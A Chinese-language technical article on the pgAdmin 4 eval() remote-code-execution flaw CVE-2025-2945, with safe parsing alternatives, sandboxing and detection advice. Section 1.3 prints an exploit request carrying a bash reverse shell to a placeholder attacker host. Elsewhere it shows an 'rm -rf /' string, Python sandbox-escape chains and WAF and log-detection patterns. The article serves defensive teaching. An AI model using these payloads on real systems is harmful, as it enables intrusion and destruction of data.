从CVE-2025-2945看Python安全pgAdmin漏洞背后的eval()陷阱与防御方案如果你是一位Python开发者或者负责维护基于Python的Web应用那么最近在pgAdmin 4中曝出的那个CVSS评分高达9.9的远程代码执行漏洞CVE-2025-2945绝对值得你停下手中的工作花上十分钟仔细研究一下。这个漏洞的根源简单得令人不安——仅仅是开发者在两个API端点中将用户可控的参数直接传给了Python内置的eval()函数。但正是这种看似“方便”的代码实践却能让攻击者在通过身份验证后在服务器上执行任意命令完全控制你的数据库管理平台。我在过去几年审计过不少开源项目的代码发现eval()的误用几乎成了Python应用安全的一个“经典陷阱”。很多开发者尤其是那些从脚本编写转向Web应用开发的工程师往往低估了用户输入的危险性。他们会想“这个参数应该只会收到True或False这样的布尔值字符串吧”但攻击者从不按常理出牌。当__import__(os).system(rm -rf /)这样的字符串通过eval()被执行时整个系统的防线就彻底崩溃了。这篇文章不会只是复述漏洞公告。我想带你深入这个漏洞的技术细节看看pgAdmin 9.1和9.2版本在修复时到底改了哪些代码更重要的是我们要探讨在Python开发中除了简单地“不用eval()”还有哪些更安全、更实用的替代方案。从ast.literal_eval()的适用场景到如何设计安全的配置解析器再到在不得不执行动态代码时的沙箱隔离策略——这些都是你在日常开发中真正会遇到的问题。1. 漏洞深度剖析当用户输入遇上eval()要理解CVE-2025-2945的严重性我们得先看看pgAdmin 4中那两个出问题的端点到底做了什么。这不是一个复杂的逻辑漏洞而是一个典型的“输入验证缺失”导致的安全问题。1.1 两个危险的端点在pgAdmin 4 v9.1及更早版本中存在两个可以通过身份验证访问的POST端点它们都直接将用户提供的参数传递给了eval()函数/sqleditor/query_tool/download/{trans_id}- 这个端点用于将SQL查询结果导出为CSV文件。其中的query_commited参数原本应该接收一个表示“查询是否已提交”的布尔值但代码却用eval()来解析它。/cloud/deploy- 这是pgAdmin的云部署功能的一部分high_availability参数控制是否启用高可用性配置同样被不安全地传递给eval()。这两个端点都需要有效的会话认证这意味着攻击者需要先获得一个有效的pgAdmin用户账号。但在实际环境中这并不算很高的门槛——弱密码、默认凭证泄露或者通过其他漏洞获取的访问权限都可能让攻击者跨过这道门槛。1.2 漏洞代码对比从危险到安全让我们看看漏洞代码和修复代码的具体差异。在pgAdmin 4 v9.1的源代码中处理query_commited参数的代码大致是这样的# v9.1 中的危险代码简化版 def handle_download_request(self, trans_id, query_commited): # 直接将用户输入的字符串传递给eval() committed eval(query_commited) if query_commited else False # ... 后续处理逻辑而在v9.2的修复版本中代码被彻底重写# v9.2 中的安全修复简化版 def handle_download_request(self, trans_id, query_commited): # 安全的类型检查和转换 if isinstance(query_commited, bool): committed query_commited elif isinstance(query_commited, str): # 只允许特定的字符串值 query_commited_lower query_commited.lower() if query_commited_lower in (true, 1): committed True elif query_commited_lower in (false, 0): committed False else: # 无效值使用默认值或抛出错误 committed False else: committed False # ... 后续处理逻辑注意实际的修复代码可能更复杂但核心思想是一致的——用严格的类型检查和白名单验证完全替代了危险的eval()调用。对于/cloud/deploy端点中的high_availability参数修复方式也类似。v9.1中直接使用eval(high_availability)而v9.2中改为安全的字符串比较。1.3 攻击载荷分析攻击者是如何利用这个漏洞的呢让我们看一个实际的攻击示例。假设攻击者已经通过某种方式获得了有效的会话凭证他们可以向/sqleditor/query_tool/download/{trans_id}发送这样的POST请求POST /sqleditor/query_tool/download/1234567 HTTP/1.1 Host: vulnerable-server:5050 Content-Type: application/json Cookie: pga4_sessionce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s Content-Length: 130 { query: SELECT 1;, query_commited: __import__(os).system(bash -c \bash -i /dev/tcp/attacker-ip/4444 01\) }这个载荷做了几件事使用__import__(os)动态导入os模块避免直接使用import语句调用os.system()执行系统命令命令内容是一个反向shell会连接到攻击者控制的服务器更隐蔽的攻击可能包括创建后门用户账号窃取数据库凭证部署挖矿软件或勒索软件横向移动到内网其他系统2. eval()为什么如此危险很多Python新手甚至一些有经验的开发者都不完全理解eval()的真正危险在哪里。他们可能觉得“我只是用它来解析一个布尔值或数字这能有什么问题”但问题远比表面看起来复杂。2.1 eval()的工作原理eval()函数接受一个字符串参数并将其作为Python表达式进行求值。这意味着字符串中的任何有效Python代码都会被执行。考虑以下代码user_input input(请输入一个数字: ) result eval(user_input) print(f结果是: {result})看起来无害对吧用户输入2 2程序输出4。但用户也可以输入__import__(os).system(rm -rf /)或者更隐蔽的[].__class__.__base__.__subclasses__()[132].__init__.__globals__[sys].modules[os].system(id)这种攻击方式利用了Python的对象模型绕过了简单的字符串检查直接访问底层系统模块。2.2 常见的危险使用模式在我的代码审计经验中eval()的误用通常出现在以下几种场景使用场景危险示例安全替代方案配置解析debug eval(config.get(debug, False))debug config.get(debug, ).lower() true数学表达式计算result eval(user_formula)使用ast.literal_eval()或专门的数学表达式库动态代码生成code fdef func(): return {user_expr}使用模板引擎或代码生成工具序列化数据解析data eval(serialized_str)使用json.loads()或pickle.loads()需谨慎2.3 不仅仅是eval()其他危险函数eval()不是唯一的危险函数。Python中还有其他几个函数需要谨慎使用exec()- 执行Python代码比eval()更强大可以执行语句而不仅仅是表达式compile()- 将源代码编译为代码对象可与eval()或exec()结合使用pickle.loads()- 反序列化Python对象可能执行任意代码os.system()、subprocess.call()等- 直接执行系统命令这些函数本身不是“坏”的但在处理不可信输入时必须格外小心。我曾经见过一个案例开发者使用pickle来存储用户配置结果攻击者构造了恶意的pickle数据在反序列化时执行了任意代码。3. 安全替代方案从ast.literal_eval到自定义解析器既然eval()这么危险我们该用什么来替代它呢这取决于你的具体需求。下面我介绍几种常见场景下的安全替代方案。3.1 对于简单数据类型ast.literal_eval()ast.literal_eval()是标准库ast模块提供的安全函数它只能求值Python字面量表达式import ast # 安全的字面量表达式 safe_values [ hello world, # 字符串 123, # 整数 3.14, # 浮点数 [1, 2, 3], # 列表 {key: value}, # 字典 (1, 2, 3), # 元组 True, # 布尔值 None # None ] for val in safe_values: try: result ast.literal_eval(val) print(f{val} - {result} (类型: {type(result).__name__})) except (ValueError, SyntaxError) as e: print(f{val} - 错误: {e})但是ast.literal_eval()也有它的限制# 这些都会引发异常 dangerous [ __import__(os).system(ls), # 函数调用 2 2, # 算术运算 x if True else y, # 条件表达式 [i for i in range(10)] # 推导式 ] for val in dangerous: try: result ast.literal_eval(val) print(f{val} - {result}) except ValueError as e: print(f{val} - 被安全拒绝: {e})提示ast.literal_eval()是处理配置文件中简单数据类型的最佳选择但它不能处理表达式或函数调用。如果你的需求只是解析JSON风格的数据那么json.loads()可能是更好的选择。3.2 对于数学表达式使用专用库如果你需要计算数学表达式有几个安全的库可以选择方案一使用numexpr库import numexpr # numexpr安全地计算数学表达式 expression 2 * sin(pi/4) log(10) result numexpr.evaluate(expression) print(f{expression} {result})方案二使用asteval库from asteval import Interpreter # 创建安全的解释器只允许数学函数 aeval Interpreter() aeval.symtable[sin] math.sin aeval.symtable[cos] math.cos aeval.symtable[pi] math.pi result aeval(2 * sin(pi/4)) print(f2 * sin(pi/4) {result})方案三自己实现简单的表达式解析器对于非常简单的需求你甚至可以自己实现一个解析器import operator import math class SafeMathEvaluator: 安全的数学表达式求值器 def __init__(self): self.operators { : operator.add, -: operator.sub, *: operator.mul, /: operator.truediv, ^: operator.pow, } self.functions { sin: math.sin, cos: math.cos, tan: math.tan, log: math.log, exp: math.exp, sqrt: math.sqrt, } def evaluate(self, expression, variablesNone): 安全地求值数学表达式 # 这里实现一个简单的递归下降解析器 # 实际实现会更复杂这里只是示意 pass # 使用示例 evaluator SafeMathEvaluator() result evaluator.evaluate(2 * sin(pi/4) 3, {pi: math.pi})3.3 对于配置解析类型安全的转换函数在处理配置文件或API参数时我推荐使用类型安全的转换函数def safe_bool(value, defaultFalse): 安全地将值转换为布尔值 if isinstance(value, bool): return value elif isinstance(value, (int, float)): return bool(value) elif isinstance(value, str): value_lower value.lower().strip() if value_lower in (true, yes, on, 1, t, y): return True elif value_lower in (false, no, off, 0, f, n): return False else: # 可以记录日志或抛出异常 return default else: return default def safe_int(value, default0, min_valNone, max_valNone): 安全地将值转换为整数 try: result int(value) if min_val is not None and result min_val: return default if max_val is not None and result max_val: return default return result except (ValueError, TypeError): return default def safe_float(value, default0.0, min_valNone, max_valNone): 安全地将值转换为浮点数 try: result float(value) if min_val is not None and result min_val: return default if max_val is not None and result max_val: return default return result except (ValueError, TypeError): return default # 使用示例 config { debug: true, port: 8080, timeout: 30.5 } debug_mode safe_bool(config.get(debug), False) port safe_int(config.get(port), 8000, 1, 65535) timeout safe_float(config.get(timeout), 30.0, 0.1, 300.0)这种方法的优点是明确的白名单只接受预定义的“真值”表示类型安全正确处理各种输入类型防御性默认值无效输入返回安全默认值范围检查可选的值范围验证4. 当动态代码执行不可避免时沙箱策略有些场景下动态执行代码是业务需求的一部分。比如在线代码执行环境如LeetCode、Jupyter Notebook模板引擎规则引擎插件系统在这种情况下完全避免代码执行是不现实的。我们需要的是“受控的执行环境”也就是沙箱。4.1 Python沙箱的挑战在Python中实现真正的沙箱非常困难。Python的动态特性使得限制代码的能力变得复杂。常见的绕过技术包括通过对象属性链访问危险模块# 即使禁用了__import__也可能通过其他路径访问 [].__class__.__base__.__subclasses__()[132].__init__.__globals__[sys].modules[os].system(id)利用内置函数和属性getattr(__builtins__, __import__)(os).system(id)修改沙箱环境本身# 如果沙箱允许修改__builtins__ __builtins__.__dict__[__import__] lambda x: print(f试图导入: {x})4.2 相对安全的沙箱方案虽然完美的沙箱很难实现但我们可以通过组合多种技术来创建相对安全的环境方案一使用restrictedpythonfrom RestrictedPython import compile_restricted from RestrictedPython.Guards import safe_builtins # 定义允许的内置函数 allowed_builtins safe_builtins.copy() allowed_builtins.update({ len: len, range: range, print: print, }) # 编译受限代码 code result [] for i in range(5): result.append(i * 2) result try: byte_code compile_restricted(code, string, eval) # 在受限环境中执行 restricted_globals { __builtins__: allowed_builtins, _getattr_: getattr, _getitem_: lambda obj, key: obj[key], } result eval(byte_code, restricted_globals) print(f结果: {result}) except Exception as e: print(f执行失败: {e})方案二使用子进程隔离import subprocess import tempfile import os def execute_untrusted_code_safely(code, timeout5): 在隔离的子进程中执行不受信任的代码 # 创建临时文件 with tempfile.NamedTemporaryFile(modew, suffix.py, deleteFalse) as f: f.write(f import sys import json # 限制可用的模块 allowed_modules [math, json, datetime, re, itertools] for mod in list(sys.modules.keys()): if mod not in allowed_modules: sys.modules.pop(mod, None) # 清空__builtins__中的危险函数 dangerous [__import__, open, eval, exec, compile, exit, quit] for name in dangerous: if name in __builtins__.__dict__: del __builtins__.__dict__[name] try: # 用户代码 {code} # 将结果输出为JSON import json result locals().get(result, None) print(json.dumps({{success: True, result: result}})) except Exception as e: print(json.dumps({{success: False, error: str(e)}})) ) temp_file f.name try: # 在受限环境中运行 env os.environ.copy() env[PYTHONPATH] # 清空Python路径 result subprocess.run( [python, temp_file], capture_outputTrue, textTrue, timeouttimeout, envenv, cwd/tmp # 在临时目录中运行 ) # 解析输出 if result.returncode 0: output result.stdout.strip() if output: return json.loads(output) return {success: False, error: result.stderr} except subprocess.TimeoutExpired: return {success: False, error: 执行超时} except Exception as e: return {success: False, error: str(e)} finally: # 清理临时文件 try: os.unlink(temp_file) except: pass # 使用示例 code import math result math.sqrt(16) math.sin(math.pi/2) output execute_untrusted_code_safely(code) print(f执行结果: {output})方案三使用Docker容器隔离对于最高安全级别的需求可以考虑使用Docker容器import docker import json def execute_in_docker(code, imagepython:3.9-slim, timeout10): 在Docker容器中执行代码 client docker.from_env() # 准备执行脚本 docker_code f import json import sys # 安全设置 sys.modules[os] None sys.modules[subprocess] None try: {code} result locals().get(result, No result variable) print(json.dumps({{success: True, result: result}})) except Exception as e: print(json.dumps({{success: False, error: str(e)}})) try: # 创建并运行容器 container client.containers.run( image, command[python, -c, docker_code], mem_limit100m, # 内存限制 cpu_period100000, cpu_quota50000, # CPU限制 network_disabledTrue, # 禁用网络 read_onlyTrue, # 只读文件系统 removeTrue, # 运行后自动删除 stdoutTrue, stderrTrue ) output container.decode(utf-8).strip() return json.loads(output) except Exception as e: return {success: False, error: str(e)} # 使用示例 code result 2 2 output execute_in_docker(code) print(fDocker执行结果: {output})4.3 沙箱的最佳实践无论选择哪种沙箱方案都应该遵循以下最佳实践最小权限原则只授予代码执行所需的最小权限资源限制限制CPU、内存、执行时间和文件系统访问网络隔离禁用或严格限制网络访问审计日志记录所有代码执行尝试和结果定期更新及时更新沙箱环境和依赖库深度防御不要依赖单一安全机制使用多层防护5. 企业级防御从代码到部署的全方位防护单个漏洞的修复只是开始。要真正保护你的Python应用需要建立从开发到部署的完整安全体系。5.1 开发阶段的安全实践静态代码分析在CI/CD流水线中集成静态代码分析工具自动检测潜在的安全问题# .github/workflows/security-scan.yml name: Security Scan on: [push, pull_request] jobs: bandit-scan: runs-on: ubuntu-latest steps: - uses: actions/checkoutv2 - name: Set up Python uses: actions/setup-pythonv2 with: python-version: 3.9 - name: Install dependencies run: | python -m pip install --upgrade pip pip install bandit safety - name: Run Bandit security scan run: | bandit -r . -f json -o bandit-report.json || true - name: Run Safety dependency check run: | safety check --json --output safety-report.json || true - name: Upload security reports uses: actions/upload-artifactv2 with: name: security-reports path: | bandit-report.json safety-report.json代码审查清单建立代码审查清单确保每次代码审查都检查安全相关的问题检查项说明示例用户输入验证所有用户输入是否都经过验证检查是否有直接使用request.args.get()或request.form.get()而不验证的情况危险函数使用是否使用了eval()、exec()、pickle.loads()等危险函数搜索代码库中的这些函数调用SQL注入防护是否使用参数化查询或ORM检查是否有字符串拼接的SQL查询文件操作安全文件路径是否经过规范化是否防止路径遍历检查open()、os.path.join()的使用依赖安全依赖库是否有已知漏洞使用safety或dependabot检查5.2 运行时防护Web应用防火墙WAF规则对于pgAdmin这样的Web应用可以在WAF层面添加针对性的防护规则。以下是一个示例ModSecurity规则# ModSecurity规则检测eval()攻击尝试 SecRule ARGS rx __import__\s*\(\s*[\]os[\]\s*\) \ id:1001,\ phase:2,\ block,\ msg:Potential Python code injection attempt,\ tag:attack-injection,\ severity:CRITICAL SecRule ARGS rx eval\s*\(|exec\s*\( \ id:1002,\ phase:2,\ block,\ msg:Potential dangerous function call,\ tag:attack-injection,\ severity:CRITICAL SecRule ARGS rx subprocess\.|os\.system|os\.popen \ id:1003,\ phase:2,\ block,\ msg:Potential command injection attempt,\ tag:attack-injection,\ severity:CRITICAL应用层防护在应用层面可以实施额外的输入验证和输出编码import re from functools import wraps def sanitize_input(input_str, max_length1000, allowed_patternNone): 清理用户输入 if not isinstance(input_str, str): return # 长度限制 if len(input_str) max_length: input_str input_str[:max_length] # 移除危险字符 dangerous_patterns [ r__import__\s*\(, # __import__调用 reval\s*\(, # eval调用 rexec\s*\(, # exec调用 rcompile\s*\(, # compile调用 ros\.system, # os.system调用 rsubprocess\., # subprocess调用 rpickle\.loads, # pickle反序列化 ] for pattern in dangerous_patterns: input_str re.sub(pattern, [REMOVED], input_str, flagsre.IGNORECASE) # 自定义模式过滤 if allowed_pattern and not re.match(allowed_pattern, input_str): return return input_str def validate_boolean_param(value): 专门验证布尔参数 if isinstance(value, bool): return value if isinstance(value, (int, float)): return bool(value) if isinstance(value, str): value_lower value.lower().strip() true_values {true, yes, on, 1, t, y} false_values {false, no, off, 0, f, n} if value_lower in true_values: return True elif value_lower in false_values: return False # 无效值返回默认值或抛出异常 raise ValueError(fInvalid boolean value: {value}) # 装饰器版本 def validate_parameters(*param_names): 验证参数的装饰器 def decorator(func): wraps(func) def wrapper(*args, **kwargs): # 这里简化了实际实现需要根据函数签名处理 for param_name in param_names: if param_name in kwargs: kwargs[param_name] sanitize_input(kwargs[param_name]) return func(*args, **kwargs) return wrapper return decorator # 使用示例 validate_parameters(query_commited, high_availability) def api_endpoint(query_commitedNone, high_availabilityNone): # 参数已经过清理 pass5.3 监控与响应日志记录详细的日志记录对于检测和调查攻击至关重要import logging import json from datetime import datetime class SecurityLogger: 安全事件日志记录器 def __init__(self): self.logger logging.getLogger(security) self.logger.setLevel(logging.INFO) # 文件处理器 file_handler logging.FileHandler(/var/log/security.log) file_handler.setLevel(logging.INFO) # 控制台处理器仅用于开发 console_handler logging.StreamHandler() console_handler.setLevel(logging.WARNING) # 格式化器 formatter logging.Formatter( %(asctime)s - %(name)s - %(levelname)s - %(message)s ) file_handler.setFormatter(formatter) console_handler.setFormatter(formatter) self.logger.addHandler(file_handler) self.logger.addHandler(console_handler) def log_suspicious_request(self, request, reason, severityMEDIUM): 记录可疑请求 log_data { timestamp: datetime.utcnow().isoformat(), event_type: suspicious_request, severity: severity, reason: reason, client_ip: request.remote_addr, user_agent: request.headers.get(User-Agent, ), path: request.path, method: request.method, parameters: dict(request.args) if request.args else {}, form_data: dict(request.form) if request.form else {}, headers: dict(request.headers) } # 移除敏感信息 if Authorization in log_data[headers]: log_data[headers][Authorization] [REDACTED] if password in log_data[form_data]: log_data[form_data][password] [REDACTED] self.logger.warning(json.dumps(log_data)) def log_code_injection_attempt(self, request, payload, endpoint): 记录代码注入尝试 log_data { timestamp: datetime.utcnow().isoformat(), event_type: code_injection_attempt, severity: HIGH, endpoint: endpoint, payload: payload, client_ip: request.remote_addr, user_agent: request.headers.get(User-Agent, ), user_id: getattr(request, user_id, anonymous) } self.logger.error(json.dumps(log_data)) # 可以在这里添加警报逻辑 # 例如发送邮件、Slack通知等 # 使用示例 security_logger SecurityLogger() app.route(/api/endpoint, methods[POST]) def api_endpoint(): data request.get_json() # 检查可疑参数 suspicious_patterns [ __import__, eval(, exec(, os.system, subprocess. ] for key, value in data.items(): if isinstance(value, str): for pattern in suspicious_patterns: if pattern in value: security_logger.log_code_injection_attempt( request, value, /api/endpoint ) return jsonify({error: Invalid request}), 400 # 正常处理逻辑 # ...入侵检测规则基于日志的入侵检测规则示例# 使用Elasticsearch的检测规则示例 rule: Python Code Injection Attempt description: Detects attempts to inject Python code via eval() or similar functions index: application-logs-* type: query language: lucene query: | event_type:code_injection_attempt OR (message:(*__import__* OR *eval(* OR *exec(*) AND severity:HIGH) severity: high risk_score: 85 references: - https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2025-2945 - https://owasp.org/www-community/attacks/Code_Injection tags: - attack.injection - attack.t1190 - cwe.94 false_positives: - Legitimate use of these patterns in logging or error messages - Security testing activities threat: - framework: MITRE ATTCK tactic: name: Execution id: TA0002 technique: name: Command and Scripting Interpreter id: T1059 subtechnique: name: Python id: T1059.0065.4 应急响应计划当发现安全漏洞或攻击时一个明确的应急响应计划至关重要立即缓解如果可能立即修补或禁用受影响的功能添加临时WAF规则阻止攻击模式加强日志记录和监控影响评估确定受影响的范围和系统评估数据泄露或系统破坏的风险通知相关利益相关者根本原因分析分析漏洞的根本原因检查是否有类似的漏洞模式存在于其他代码中制定长期修复方案修复与验证实施安全修复进行全面的安全测试验证修复的有效性事后总结记录事件时间线和处理过程分析响应过程中的不足更新安全策略和流程6. 从pgAdmin漏洞中学到的教训回顾CVE-2025-2945这个漏洞虽然根本原因很简单但它暴露了许多Python开发中常见的安全盲点。我在处理类似的安全事件时总结了几个关键教训第一永远不要相信用户输入。这听起来像是老生常谈但实践中开发者常常因为“这个参数应该只会是布尔值”这样的假设而放松警惕。攻击者从不按你的预期行事。第二安全需要多层防御。单一的安全措施很容易被绕过。在pgAdmin的例子中如果除了修复代码外还实施了严格的输入验证、WAF规则和运行时监控那么即使代码有漏洞攻击也可能被其他层阻止。第三安全工具不是银弹。静态分析工具、依赖扫描器、WAF等都是很好的辅助工具但它们不能替代安全的编码实践和代码审查。工具可能会漏报或误报而人的判断仍然是不可替代的。第四安全是一个持续的过程。修复一个漏洞只是开始而不是结束。需要定期进行安全审计、依赖更新、渗透测试并建立快速响应安全事件的能力。第五开源软件的安全是共同责任。pgAdmin是一个开源项目它的安全依赖于社区的贡献和审查。作为使用者我们不仅应该及时更新到安全版本还可以通过代码审查、漏洞报告等方式回馈社区。在实际开发中我建议团队建立自己的“危险函数清单”并在代码审查时特别关注这些函数的使用。同时对于处理用户输入的任何代码都应该问自己几个问题这个输入从哪里来用户能控制它吗如果用户提供了恶意输入会发生什么我们有哪些防护措施最后记住安全性和可用性之间需要平衡。完全禁止动态代码执行可能不现实但通过沙箱、资源限制和监控可以在提供功能的同时控制风险。关键是要明确每个功能的安全边界并确保这些边界得到严格执行。